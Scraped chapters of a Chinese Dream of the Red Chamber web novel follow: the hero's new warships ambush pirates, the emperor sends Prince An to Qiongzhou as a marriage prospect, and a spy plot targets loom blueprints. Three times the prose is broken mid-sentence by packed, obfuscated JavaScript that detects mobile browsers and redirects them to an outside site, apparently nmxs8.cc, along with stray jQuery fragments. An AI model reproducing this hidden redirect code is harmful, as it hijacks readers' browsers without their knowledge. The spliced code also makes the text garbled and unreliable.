p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388132|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日菜色的做法,邬桐半点儿不藏私,一一细说了一遍。怕大家记不住,宴会结束后还一人发了一本册子,将做法悉数奉上,着重标明了红薯的耕种方法和产量。 果然,第二年县城发种子时,农户和佃户都给种了下去。当然,这是后话。 只说船厂那边,半年时间终于造出了两条船。船上的火炮射程能有三公里,比之之前最多射五百米的船载火炮,改进的不是一星半点。因着第一次做,技术还不是很熟练,时不时地要秘密请教柳琼,是以两艘船,花了半年时间才造出来。 柳琼来琼州最重要的任务之一就是造船,现在船造出来了,当然要去看看了。当即将县务分派下去,带着化妆后的邬桐,一同去了造船的小岛上查看。 为什么邬桐要化妆呢?因为不能让永兴帝知道,柳琼什么事儿都告诉老婆啊。虽然邬桐什么都知道,但该装的时候就得装,哪怕临行前分派任务时,林如海有些怀疑呢。 林如海留下来做什么呢?当然是管理甘蔗园和纺织厂了。甘蔗园是私财,有贾芸和香菱照管。红薯丰收后,现在地里空着,正忙着翻地下种呢。纺织厂放在黛玉名下,已经见到利了,其中一半的利是朝廷的,黛玉自然上心。当然,放到黛玉名下的原因,是柳琼折子上说的,什么专利使用费,五十年,专为有贡献的技术人员设置的。 永兴帝虽然对专利使用费这几个字有些陌生,但这个套路他熟啊,这不就是筹功嘛。就跟将士打了胜仗就得封赏一样,工匠做出了突出贡献,也可以封赏嘛,这样才会有更多的工匠玩命儿地给皇家干活啊。 话题扯远了,说回甘蔗园那边,贾芸和香菱因照管甘蔗园的缘分,阴差阳错地倒是走在了一起。香菱虽被人贩子拐卖,但因年龄小,又长得好,人贩子奇货可居,想卖个好价钱,倒是没玷污了香菱。呆霸王薛蟠虽买了香菱,但一来香菱年龄小,被薛姨妈护着没让儿子动手动脚,二来薛蟠是个喜新厌旧的,几次三番被老娘下面子,干脆丢开手不去管了。如此反倒是便宜了贾芸。虽说差着辈分呢,但到底香菱姓甄,甄士隐权衡一二也就同意了这门亲事。两人在琼州成了亲,因当初五婶子同意贾芸在琼州成亲,两人在甄士隐的操持下,正经过起了日子。两口子管着甘蔗园,日子过得很是不错。 觉得日子不错的,还有海上飘着的柳琼和邬桐。两人在船上,远远就瞧见了岸边停靠的巨船。船身被刷成耀眼的白色,如巨浪般,傲然挺立在岸边。十二根鲜红的桅杆和旗帜迎风招展,旗帜上赤金的“周”字苍劲有力,在风中摇曳作响。 靠近时,船上的水手早铺开一条条舢板,将巨船和柳琼几人乘坐的船只连接起来。 柳琼一下子抓住邬桐的手,邬桐神情激动,一把甩开碍事的手。这么激动人心的时刻,她就算是重病,也会一骨碌爬起来,去船上看看再闭眼的。因此倒是一马当先地走在最前面,稳稳地走过了木板。 看着一晃一晃的木板,柳琼心里直打哆嗦。他有轻微的恐高症,刚才扶邬桐,不是担心她,是他害怕啊。 怕也没用,谁让他是领头的呢。闭了闭眼,柳琼憋着气,满脸通红地走上了舢板。 40.战事 这船就是柳琼设计的,他自然熟的很,一口气走过了舢板,跳上了甲板。邬桐此时方发应过来,讪讪地挠挠头,忘了这家伙恐高了,没见刚腿肚子都抖了嘛。 当然,这是邬桐了解柳琼才看出来的,外人哪里知道这些,只当县尊大人是激动的呢。 激动的县尊柳琼在甲板上平稳了呼吸,矮身钻进船舱,查看火炮去了。郑甲在一旁,没什么感情地介绍:“火炮已经试过了,确实能射三公里。” 船身两侧,每侧八门火炮,一共十六门,柳琼点点头,问郑甲:“最近海域可有海盗?正好拿这两艘船练练手,岂不是两全其美?” 郑甲有些为难:“水师那里还没通知。” 目前就两艘船,狼多肉少,水师那里暂时还是不知道的好,柳琼哈哈一笑:“不知琼州的三百府兵可否能用?我们也不是练兵,就是试试船,想来应该无碍。这样,挑一撮人少些的海盗。” 船和火炮造出来了,当然得试。琼州是个海岛,府兵也都会水,柳琼这么安排是合理的。郑甲点点头,听了柳琼的吩咐,利用暗卫的渠道将消息送出去,有柳琼的亲笔信,邢典史很大方地放了人,不出半月,三百人马悉数到齐。 “这伙海盗常年盘踞在东沙一带,那边岛屿小且密集,是琼州到瀛洲的必经之地,这两年只要商船经过,必遭劫掠。”郑甲的手下郑乙介绍着这伙海盗的情况,“海盗的头目姓李,据说原是广州府里大户人家的下人。因被主母苛责,杀了主母后逃离,怕被官府抓到,干脆出海做了海岛。据说得势之后,曾经深夜到这户人家,虐待原主母的儿女,是个极心狠手辣之人。手下约有三百人,船只多是双桅,有一艘六桅的巨船,是一海商出海时,船只遭遇风浪,被迫停靠东沙一带,被李头目率领海盗抢下来的。船约有二十艘,都没有火炮。” 柳琼也是熟读各项战事的人,知道海岛密集意味着什么,直接问道:“这次火炮造了多少?” “一百发,这次能用五十发,需要预留五十发在岛上,作自保之用。”郑甲道。 那就需要把海盗都钓出来啊,不然海盗钻进海岛里,要找到可得费一番功夫。 钓鱼执法虽不可取,但对付海盗,也只得拿来用用了。打定主意,柳琼低声问一旁的郑甲:“那一带海岛应该没被占完吧?这样,找一二无人的小岛,先在夜里将船开过去,隐藏起来。不知岛上可有金银、绸缎等贵重物品?让府兵装作海商从这一片过,等海盗上钩了,再一举歼灭,如何?” 郑甲奇怪地看了柳琼一眼,要不是知道前朝余孽的老巢是他带人剿灭的,且一直瞒着柳琼,他还以为柳琼知道了呢。前朝余孽的财宝并不全在一个岛上,这半年多他一直带人在附近搜寻,前几日恰巧找到一处藏匿金银器玩的地方,还没装船运走呢,就被柳琼惦记上了。 柳琼也不知道这些啊,他只是单纯地询问而已。暗卫呢,笨想想也不会穷啊。而且海战不同于陆地战,大海一望无际,没处藏身的,只有先在荒岛上躲藏起来,才能出其不意。见郑甲微微点头,这才高兴地将计划告知邬桐。 邬桐对战事也是熟悉的,小声问:“这时候可有火油弹?如果有小船靠近,火炮起不了作用,得有其它武器才行。” 屋内众人七嘴八舌讨论起来。邬柏是文人,以后参与战事的可能性极低,为了让他了解战事的残酷,柳琼还是把他带上了,此时大男孩听得极认真,大胆开口道:“海盗不可能全部被吸引出来的,肯定会有人留守。刚才说过,海盗截获过一艘六桅巨船,财宝肯定不少,必然会派人看守。如果能派遣先锋,混入岛中,里应外合才好。” 五十发火炮,每一发打出去都是银子啊。灭了海盗,得了财宝,才算是不白练船。 邬桐点头,她是最适合的先锋人选,且为了避免人员伤亡,她一人登岛足矣。柳琼知道邬桐的能耐,开口道:“这个先锋人选之后再说,还有什么意见,大家尽快完善。今日之后,如果没有异议,都要严格按照今日制定的作战计划执行,不可有半丝懈怠,否则军法伺候,可都明白了?” 柳琼严肃着脸,虽是文官,此时却透露出毫不掩饰的杀意,令到来的五个府兵头领,皆颔首领命。是夜,邬桐和郑甲坐在一艘巨船上,和另一艘郑乙控制的船一起,朝东沙列岛驶去。 邬桐的伪装瞒得了别人,瞒不了身为暗卫的郑甲,见她竟要独自去做先锋,且县尊大人还首肯了,当即看柳琼的目光都变了。 没看出来,堂堂县尊大人,竟是个吃软饭的! 出于对女人的保护,也是出于对乡主的保护,反正郑甲找出了十几个理由,硬是跟着邬桐一起去做了先锋。 柳琼在岛上挥手道别,心内第一万次为自己辩驳,他是有自知之明好吧,什么吃软饭,他柳琼堂堂进士,空间异能者,能是吃软饭的?! * 东沙列岛,一处不起眼的小岛上,孙奴儿背靠在瞭望台上,动了动坐麻了的双腿,打个呵欠继续闭着眼打盹儿。一旁的同伴忍不住出声:“你小子警醒些,还有两个时辰才换防呢。” “换防换防,换个破防啊。就这个小破岛,一个月也来不了一艘船,防个鬼啊。都快一个月没去海上了,也不知道李狗子那家伙,是不是又抢了什么金银,说不得还有女人呢。咱俩比他李狗子差哪儿了,被派到这个鬼地方。”孙奴儿霎时睁开眼,气急败坏,也不准备睡了,当即竖起手指,一一数落起当家的不是,“都是三当家出的鬼主意......” 那同伴也是海盗,自然不是个听话的,刚才提醒孙奴儿,也只是不想独自站岗罢了。听见孙奴儿的牢骚,也是满肚子话要说,当即坐下来,一起说起了当家们的坏话。 不远处,两艘巨船缓缓靠近。邬桐、郑甲和郑乙行了一夜的船,在列岛里暗暗穿梭,最终来到了这处小岛。这里荒凉,但设置了瞭望台,可知里面必然有秘密。 郑甲低声对二人道:“这处岛屿东面有山,正好可以隐藏巨船。只不过山上有瞭望台,里面肯定有人,我去山上把人杀了,夫人悄悄登岛,看看财宝藏在哪儿了。郑乙守住船,不要让人发现了。” 瞭望台上的海盗必得除了,否则发现了船只就不好了,二人点头表示知道。趁着夜色,邬桐和郑甲各划一艘小船离开,在郑甲的掩护下,邬桐悄无声息地上了岸,消失在树影婆娑中。郑甲则去了另一个方向,向高处的瞭望台走去。 金银是重物,必然藏在交通方便、好运输的地方。邬桐在岛上巡视了一圈,锁定了一处较缓的山坡,很快在半山腰找到了一处山洞。洞外把守了十个彪形大汉,一看就不好惹。刚想用异能,感知到有人靠近,却没感觉到威胁,邬桐回头一看,果然是郑甲。 郑甲解决了孙奴儿两人,一看洞口的情形,知道强攻不得,从怀里掏出一包秘药道:“这是软香散,闻了此香,三日内浑身无力。我们去东边,今日刮东风。” 邬桐跟在郑甲身后,庆幸自己动作没那么快,否则被郑甲发现,就是有十张嘴也说不清。以后跟着这些人做事,可不能随意用异能了。也不知能不能拿到这药的配方。 刚走神了不到十息的时间,人就已经倒下。邬桐和郑甲进入山洞,果然发现近百个大箱子,金银、象牙、珍珠、瓷器、布匹等不一而足。邬桐眼睛都亮了,有了这些钱,琼州衙门不就有钱做建设了嘛。不过看看身边的郑甲,瞬间又恢复理智,有郑甲在,钱财不可能都给他们。 历来剿匪,所获辎重,三成归出兵的将领,其余 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第三日,海盗终于上钩,几乎全体出动劫掠“大鱼”。在山岩后隐藏的大船终于驶出,三公里的炮击下来,别说三百海盗了,就是五百六百,来了也都是死的份。五十发炮弹甚至都没用完,东沙一带就彻底控制在了朝廷手里。 郑甲、邬桐和郑乙留下,带人挨个儿在岛上搜了一遍,藏匿起来的海盗,一一被找出来处死,粮食被收缴,被抓的奴仆、女人等,想在东沙列岛安家的,每人发半年的粮食。想回家的,也会被带上船离开。 与众人预料的相同,没什么人想回去。特别是女人,没一个人闹着要回家。一个个神情麻木,眼神无悲无喜,如果不是还在喘气,简直跟死人差不多。 想到这些人的遭遇,邬桐和柳琼询问郑甲,是否可以单独划一个小岛,让这些女人居住。最好远离男人。郑甲是暗卫,见过太多人间惨事,自然知道这些女人不是一两日能够恢复的。他本已没了同情心,在他看来,这些女人能活着就很好命了。不过接触到柳琼二人希冀的目光,郑甲还是点点头,表示放心,南海小岛众多,藏个把人还是很容易的。 处理完杂事,终于轮到战后的重头戏-给将士们发奖赏,这是战后必做的事,也是必须做好的事。这次剿匪所获颇丰,柳琼大手一挥,参与战事的兵丁,每人二十两白银,可以说每人都发了一笔小财。由此也可看出海盗是多么豪富了。这还是郑甲口中的小海盗,不敢想那些海上的巨盗得多有钱。 战报送到永兴帝的案头时,已经是京城的初夏。距柳琼离京,已经一年又两个月了。 “好!”永兴帝右手握成拳,狠狠砸了下桌面,吩咐对面的忠顺王,“再多派些工匠过去,争取一年至少造出十艘船。水师那边该换装备了,换好之后和倭寇必有一战。” “是,倭寇这两年太猖狂了。”忠顺王脸色不好,永兴帝眉头皱得也能夹死苍蝇。这两年,几乎每月,江浙都有倭寇上岸劫掠的折子,不给些颜色瞧瞧,还以为他们大周是软柿子,谁都能捏一捏呢。 “查南安郡王世子。”永兴帝沉声道,“不必顾忌其他异姓王,往彻底明白的查。” 忠顺王这次来,就是禀告南安郡王世子的事,凑巧战报送过来,听一耳朵罢了。 南安郡王世子有什么事儿呢?这家伙本是个败家子儿,拿着家里的古董字画去当铺的那种。谁知这两年,突然出手阔绰起来,就连忠顺王这个永兴帝身边的大红人,都被邀请过去赴宴。那宴席,菜色比他在皇宫吃的还丰富,也不知从哪里发的财。 “是。”忠顺王答道,突然灵光一闪,有些难以置信地问,“这世子,不会和海盗有瓜葛吧?” 永兴帝冷哼一声:“不然呢?他哪里来的钱?” 忠顺王脸色涨得通红,气得猛砸了一下大腿,恶狠狠道:“如果是真的,我饶不了他!” 41.安郡王 “不用你,朕头一个不饶他。”永兴帝面色铁青,进来的大太监来福战战兢兢。永兴帝瞥见了,淡淡开口,“说,后宫又出什么事儿了?” 来福头都不敢抬:“薛妃娘娘这几日吐得厉害,贾女官请皇上午膳时去那里看看。” 永兴帝冷哼一声,问道:“来人是薛娘娘那里的,还是贾女官那里的?” “贾女官派的人。” “她倒是舍得下面子。”永兴帝不屑道,“将此事告诉皇后,她会知道怎么处理的。” 忠顺王低着头看眼前的折子,像是突然发现了不得的事一般,看得那个认真。对这个三哥,永兴帝是极亲近的,调侃一句:“突然不认识字了?看个什么劲儿,好了,知道你小心,你我兄弟,不必忌讳那些。这次让保丰跟着一起去琼州,船厂得有自家人坐镇才行。” 保丰,前九皇子,永兴帝登基后被册封为安郡王。 忠顺王点头应是,知道保丰是去当监军的,不过想了想,还是开口道:“贾琼毕竟是文官,没有武官的任职,虽然打了胜仗,免不了要被弹劾的。” “无妨,让贾琼兼任琼州千户,朝里要是有人有异议,就让他们去琼州好了。一个个叫唤得凶,真到办事的时候,比谁都能躲!”永兴帝冷哼一声,琼州是世人眼中的流放地,士大夫没人会想去这地方。而这地方,却是他计划中的水师重地,贾琼被委以重任,须得保丰过去牵制一二,才是平衡之道,“去办差吧,顺便叫保丰过来,我有话要嘱咐他。” 等人离开,永兴帝侧靠在一侧的扶手上,想着刚才来福说的后宫之事。薛宝钗心大,没按时服用闭子汤,这才有了身孕。有就有吧,四王八公今年必是要除的,她就是生下儿子也没用。贾家女的野心还没下去,这是想让薛家女欠她人情呢。四王八公倒了之后,这个女人要是还是这般,他不介意把她送去皇家庵堂。 正想得出神,来福禀告说安郡王到,永兴帝回过神,坐直身子,等保丰行礼后,才说起了这次的差事。也不嘱咐其他,只着重提起了林家:“林如海是父皇的老臣,你去琼州前,先去行宫见见父皇,看他老人家可是有什么东西要捎带的。那林如海还带着嫡女,朕的赏赐里有专门给她的,可得留意。” 安郡王保丰诧异抬头,看着这个曾经的四哥,这是给自己做媒呢吧?永兴帝哈哈大笑,这小子聪明啊,这就明白了,他也不废话点拨了。 保丰可不聪明嘛,他那小答应母亲就不是个蠢的,在甄太妃眼皮子底下生了皇子,还养了这么大,能蠢到哪里?母亲不蠢,儿子十有八九不会差。保丰知道,这是用联姻的方式,拴住柳琼,拴住林家呢。 林家是柳琼的岳家,跟林家联姻,他保丰也不亏。虽初时心里不爽气,保丰很快就想开了,跟太上皇说了会儿话,就坐上宝船去了琼州。 朝堂的事离琼州太远,只说大获全胜的柳琼和邬桐,带着半船的战利品,浩浩汤汤回了琼州岛。当然,船并不是新造的巨船,而是双桅船。 码头那个热闹啊,就别说了。曾经被东沙那伙子海盗劫掠过的商户,自发地在码头放起了鞭炮,噼里啪啦,这边不响了那边还有,大人小孩儿都咧着嘴,捂着耳朵看热闹,比过年时还高兴。 冼县丞、邢典史等人也高兴啊,有了钱,什么都好说。以前想也不敢想的,什么扩建码头、修建水库、平整地面之类的,这不都能想能做了嘛。这可都是政绩,是他们更进一步的资本。 于是,刚回来没两日,柳琼发现,他在县衙的威望更重了。以前需要两日办成的事,如今一日就有了结果。不仅如此,一个个都勤政到不行,没差事也要到他面前蹦跶一二,一副我爱工作,我要工作的嘴脸,让柳琼虐的一点儿成就感都没有。 而身处后宅的邬桐,也发现一日日来做客请安的人,只多不少。本来红薯宴后,来巴结的太太夫人就不少,如今得加一个更字。今儿冼太太夫家族人在山里发现了一处鲜山珍,亲自带着阿银送了来。明儿邢太太娘家的侄子出海打渔,得了上好的章鱼,爽口弹牙,也巴巴潜人送了来。 夫妻俩晚上一对账,得了,知道问题出在哪儿了。要政绩是吧,反正柳琼要在琼州扎根,至少六年呢,县丞、主簿和典史等人,想扑腾就扑腾去,只要他指明方向,把琼州建设好了,想去内陆任县令,他亲自给写推荐折子。 于是等安郡王到时,看到的就是琼州一片内外通达,上下一心的情景。安郡王是聪明人,此时也只是感慨,柳琼不愧是皇兄亲手提拔的肱骨之臣。 这次跟安郡王一起来的,还有贾琏和王熙凤,以及刘衡、薛蝌等人。 绸缎生意走上了正轨,刘衡和薛蝌当然要来看看,机器的事有没有进展还不知道,绸缎的利润就已经很可观,值得跑一趟了。贾琏和王熙凤当然是放不下甘蔗园了,今年就要见利,身家性命都压上了,可不得过去看看嘛。 一回生二回熟,也不用人接,傍晚时分,四人跟着安郡王,到达了琼州县衙。当然,安郡王是来歇脚,并代太上皇看望林如海的,之后是要去小岛,坐镇船厂的。 女眷只王熙凤一人,被邬桐迎入后宅,见了黛玉、香菱又是一番亲热。听说是和安郡王一起来的,连邬桐都有些惊讶。这位可和四王八公不一样,是真正的龙子凤孙,怎么也来了琼州这个地方。 见众人讶异,王熙凤神情中颇有些得色。刚开始知道要和郡王爷同船时,她也是忐忑不安,同时又难掩激动的,适应了三五日才缓过来。此时全然一副云淡风轻的神情,和众人感慨道:“你们是不知道,安郡王的品格,真真是再没见过的! 我们本是坠在郡王爷船后面的,郡王爷人好,知道我们在那小船上,特意让属官去请我们。属官那个热情,竟是推脱不得,这才一条船过来的。 说来惭愧,你们也知道琏二的为人,只要有两分颜色的,都要上手,荤素不忌,连公爹那里的丫鬟也不放过。这次来之前,也不知为何,公爹偏赏了个叫秋桐的丫鬟,长得闭月羞花一般,琏二舍不得,就带上了船。 那秋桐也是个无法无天的,等上了郡王爷的船,她仗着有几分姿色,竟是想勾搭郡王爷,你们说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415840|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可笑不可笑。也不想想,凭什么样的人物,王爷是没见过没听过的。真真自不量力,听说还没近身,就被王爷身边的侍卫一脚踢下了海。 还是几个同舱的小丫鬟,将汗巾子绑在一处,丢到海里才将人救上来的。不过也没得着好,一上岸就被琏二发卖了,怕王爷记恨呢。 这般不贪欢好色的君子,再是没见过的。要不人家是王爷,琏二连个爵位都得不着呢。” 邬桐才不顺着王熙凤的话说呢,这就属于我家的孩子,我嫌弃可以,你说一句试试?她只跟着夸道:“若果真如此,安郡王可当得君子一词了。只是在京中时,怎么没听过这位的名号?也不知安郡王多大年纪?长相如何?” 永兴帝不会好端端派一个王爷过来,还是个年纪轻轻的王爷,只怕......邬桐悄悄瞥一眼一旁愈发绝色的黛玉,也不知嫁个王爷是好是坏。历来皇家,就没听过守着一个人过的。 “看着也就十三四岁年纪,长得比宝玉还精神。瘦长脸,大眼睛,高鼻梁,现在就跟琏二一般高呢。说话和气得很,一点儿架子也没有,也不知道将来王妃,得找个什么样的神仙人物,才配得上。”王熙凤感慨,拉着邬桐和香菱八卦起来,知道香菱嫁给了贾芸,而贾芸负责管理甘蔗园,更是时不时就要问两句。 “我现在主要负责育婴堂,再细的事儿得问过相公才能知道。”甘蔗园的大概情况香菱清楚,再细问就不知道了。 近一年,琼州当地人越来越富足后,丢弃婴孩的人是越来越少了。是以邬桐重组育婴堂后,里面六岁以下的孩童越来越少。 香菱喜欢孩子,且夫妻俩不能总是把持着甘蔗园,因此香菱干脆退了出来,去育婴堂帮忙。柳琼派全贵接手了香菱的差事,和贾芸配合,一贴身小厮,一族人,相互监督制衡,不会出现一家独大的情况。 三人说得热闹,一旁的黛玉,正在升级纺织机的关键时候,对安郡王和甘蔗园兴趣不大,见状悄悄起身,退出了会客房,去书房继续画图。 纺织机已经升级了一次,这次要是成功升级,姐姐说第一代的图纸就能卖了,以后更多的妇人能够出来做工,多好。 前院,邬桐都能猜到永兴帝派安郡王前来的意图,林如海这个曾经的一品大员怎么会不知道。那眼神明显就带上了打量,全程也不怎么说话,只时不时看小伙子一眼,一会儿冷哼一会儿点头的,让安郡王这习惯了装病做戏的,都不知道胳膊往哪儿放了。 可不装不行啊,连襟柳琼、小舅子邬柏,就连曾经的太子太傅张大儒,都来灌他酒,也不知他什么时候这么受欢迎了。 张大儒完全是怜惜黛玉研制出纺织机,给万千黎人带去了生钱的门道,这才对安郡王试探一二的。要说私下的仇怨,是半点儿没有的。不过这安郡王是个妙人,装醉如此醇熟,是个会躲事儿的。 等装醉的安郡王被贴身太监扶下去,林如海才冷哼一声:“算他有眼色。” 岳父大人,虽说女婿是需要考验滴,但考验不等于惊吓啊,你这样,是会失去很多优秀的女婿的。 42.后门 大户人家的后门,向来是小生意人最喜欢去的地方。府里的丫鬟、小厮、婆子,手里不仅有月钱,主子时不时还会赏赐一二,自然是不缺银钱的。什么锦帕、丝线、绢花,刚被货郎摆出来,就会被小丫头们围上来,一抢而空。 这不,琼州衙门后宅,左后角门刚打开,门口的小商贩们就骚动起来。卖油饼的,卖豆浆油条的,卖包子的,都小声吆喝起来。早上就是这些吃食摊子的天下。 按说主家是管下人吃喝的,无需在外面进食。但谁还没个口腹之欲了,保不齐就想吃个新鲜的。这不,摊子上已经坐了好几个家丁模样的人,吆五喝六,大嚼大喝。 文竹是香菱身边的大丫鬟,不大,也就十三的年纪,本来是林家带过来的,因着香菱身边没人伺候,被黛玉拨了过去。这丫鬟很有几分袭人的品格,在谁身边,就一心都是谁。这两日香菱小日子没来,几个大丫鬟虽没经过人事,也知道这意味着什么,都替主子高兴。说来孕妇的口味也奇怪,今儿一早,香菱什么都不想吃,就想吃小摊儿上的牡蛎饼,文竹这才出来买。 “文竹姑娘,好久不见您来啦。”摆牡蛎饼摊儿的,是个二十多岁的年轻男人,见到文竹一脸的谄笑,“今儿要加几个蛋?怎地不见蕙香姑娘?”文竹和蕙香要好,在牡蛎摊儿买过两次,汉子就给记住了。 文竹是个圆圆脸的姑娘,看着有些憨厚,内里却精明。闻言眼睛一闪,笑嘻嘻地打哈哈:“加一个蛋就成,蕙香可是个大忙人,这几日帮着二小姐画图,可没时间来这了。”边说,边仔细观察男子的神情,果然,男子在听到“画图”二字时,摊饼子的手有片刻凝滞。 怪不得夫人说,最近后门摆摊的人多的不正常,还没想找他们呢,这群人倒自己撞上来了。哼,等她告诉大小姐,有这些人的好看! 却说另一头,因昨日傍晚才到琼州,并未能在城里逛逛。安郡王吃过早食后,也不等人请,带着贴身太监和两个护卫就要出门,被同样早起的柳琼和林如海逮个正着。 两人起这么早干嘛呢?当然是考验考验安郡王了。林如海昨晚一夜没睡好,黛玉是他唯一的骨血,未来女婿的人品必得他认可才行,否则等他走了,以黛玉的性格,就算吃了亏,只怕也会咬牙咽进肚子里。 “郡王爷早啊,您是要逛琼州吧?走,本官是一县父母,自当尽地主之谊。”柳琼是黛玉迷妹,知道岳父的计划,自然全力支持啊。因此二话不说,拽着安郡王的胳膊就往外拉。 去哪儿呢?当然是男人都爱去的地方了。咳咳,他柳琼当然没去过,这不是冼县丞几人说过嘛,他就听了那么一耳朵,今早给林如海这个岳父一提,好悬没被岳父大人打一顿。也算是舍身陪郡王了。 “琼州百姓看着都很忙啊。”出门后,安郡王保丰甩开柳琼的手,看着来来往往的路人,感慨了一句。 “那是,如今城里有纺织厂,还有县学在扩招。医馆那里也在免费教授知识,男女不限。如今东沙的海盗也除了,大家打渔也安全许多,几乎人人都有事做,当然就忙了。”柳琼在前面,为安郡王解惑,同时指路道,“前面左拐就到了。” 柳琼敲了敲门,很快,并不大的黑漆木门缓缓打开。青衣小厮躬身将几人应进去,进门是一扇黑色大理石影壁,比门还大,绕过去,迎面是一处很大的院落,当中一溜儿风水缸,其上种满了粉色、白色、红色的荷花,如今打着花骨朵儿,很是清雅。 飞檐屋脊,青砖黛瓦,青衣小厮换成粉衣小丫鬟,安郡王眼神闪了闪,晓得今日如此是为何了。 这林如海和未来连襟可是够奸滑的,安郡王轻咳一声,低头闷笑。进入包间后,施施然在上位坐下,对上茶的美人视而不见,问接下来落座的柳琼:“不知这里有何特别之处,值得贾县令如此推崇?” 呵呵,别以为我听不出来,你是在陷害我。果然,皇家出来的,一个个都是人精。在安郡王和林如海双重目光下,柳琼强忍住翻白眼儿的冲动,挥手让店家上歌舞。就不信你小子不露狐狸尾巴。 没过多久,轻柔婉转的笛声传来,似是跨水伏波而来。这是在风水缸那一头儿吹的笛子吧?还没让人想明白,一排六个身着轻纱罗裙的女子,踏曲而来,脚步轻盈,身姿柔软,低眉顾盼间媚意横生。 林如海暗暗观察安郡王的神色,只见这小子闭着眼睛,右手拍打着膝盖,像是十分享受这乐曲一般,心内满意了两分。柳琼则暗自咋舌,小家伙年纪不大,心眼儿不少,这是没入套儿啊。 等一曲完毕,舞者站成一排,鞠躬还礼。腰肢柔软,盈盈一握。 见安郡王终于睁开了眼,柳琼笑眯眯地开口:“不知当家的是谁?我这小兄弟今日第一次来琼州,当家的可不能藏私,看家本领使出来,可不能藏着掖着,不然我可不依。” “哎呦,大官人。”门口,一个身着雪青色绸衫的美貌妇人,端着一壶茶推门而入,笑着开口,“这可是本店最有名的‘荷花莲叶舞’,您三位一进来,就知道不是凡人。妈妈我能拿那些俗曲烂舞搪塞?真真是看家的本事都使出来了。嫣红,来,见过大官人,给大官人斟杯酒。这是没跳好,大官人们不满意呢,好好陪陪罪,让大官人息怒。” “别别别,这位才是大官人。”柳琼忙指着上首的安郡王保丰,笑嘻嘻地眨巴两下眼睛,祸水东引道,“这位可是贵人,可得好好招待,知道吗?” 保丰哪里想到,这连襟脸皮如此之厚,忙摆手道:“不用了,你们跳得很好,快下去吧,我们还有话要说。小喜子,赏他们,带她们下去。” 小喜子是个十五岁的小太监,白白嫩嫩,很有些雌雄莫辨。老妈妈还以为这是个通房丫鬟呢,也没当回事,挑眉示意嫣红斟酒。 安郡王是后宫里能保身的人物,气势放出来,立马吓得嫣红不敢动弹。那妈妈也是个见惯了场面的,此时也有些讪讪,伸手接过小喜子递过来的荷包,很有颜色地带着六个舞者行了礼,安静且快速地退了出去。 林如海暗暗点头,能不用身份摆平尴尬的处境,这份定力还算值得夸赞。就是不知道这小子有没有通人事,皇家历来讲究什么“教养丫鬟”,等郡王升了亲王,还能娶四个侧妃。四个!他就一个女儿,就黛玉那性子,怎么斗得过四个女人,还是不妥。 安郡王哪里知道,他过了关,未来岳父林如海还是给他画了大大的叉。 四人在包间里安静地品了会儿茶,才告辞离开。午食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415841|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自是在望海楼解决的,望着海面上点点帆船,安郡王也有些神伤。虽被重用,却到了万里之遥的琼州,起码三四年不能回京,也不知道母亲如何思念呢。 却说午食后回到县衙,刚迈入后门,蕙香急忙将柳琼带到了会客室。里面大厅,跪在地上的,正是早上摆牡蛎饼摊子的年轻男人。 见柳琼来了,邬桐示意男人将话再重复一遍。那男人抬起头,转向柳琼,开口道:“小子姓吴,是姚家来给乡主大人贺喜时,住的那户人家的庶子。半月前,家父和哥哥回来,不知为何,一直问我姚家和县尊的事,我觉得蹊跷,这才特意在后门摆了个摊子,想着借蕙香姑娘或者文竹姑娘的力,进来府里,这样不会惹人注意。 家父原来和马县丞走得近,可家父胆子小,肯定没参与重要的事。这次却突然回来询问县尊的事,肯定是被人授意的。还请大人明察,抓住幕后之人才好。” “马县丞之前跟倭寇勾结的事,你可知道?”柳琼敲了敲茶几的桌沿,厉声问。 “不知,不过马县丞跟海盗肯定有勾结,就是不知道是不是东沙那一群海盗。”吴摊主回道。 还没说上几句话,文竹在外扬声道:“老爷,夫人,冼太太和阿银小姐来访,要见老爷和夫人。” 邬桐和柳琼对视一眼,邬桐沉声道:“我先过去,要是有重要的事,我再让蕙香来叫你。你在这里先问清楚。” 柳琼点点头,能派奸细的海盗,必然不是东沙那群乌合之众。想到不远处的瀛洲岛,以及不知藏在何处的前朝余孽,柳琼心里一沉。事情越来越严重了。 另一处会客室内,阿银仍是一身红衣,脸色严肃不少,一双眼睛厉得能射穿人的心脏:“乡主大人,我娘被抓了。那帮人让我给他们偷纺织机的图纸,否则就杀了我娘。” 说着,阿银从袖子里掏出一个巴掌大小的木盒,打开后,是一对儿葫芦形状的耳环,阿银指着葫芦上的一处道:“这是我娘的耳环,葫芦上刻了我娘的名字,是我娘经常戴着的。前几日去寺庙上香,回来的路上,娘的马匹受惊,被摔到了山下,一直没有找到。今早后门就收到了这个,里面还有一张纸条。” 阿银将盒子递给邬桐,让邬桐自己看:“我娘说过,如果有一日她被抓了,别人用她的命威胁家里人做事,一定不能听那人的话,否则家破人亡。我从小就不聪明,只知道听我娘的总没错,这才求了婶子,来县衙将事情说清楚。” 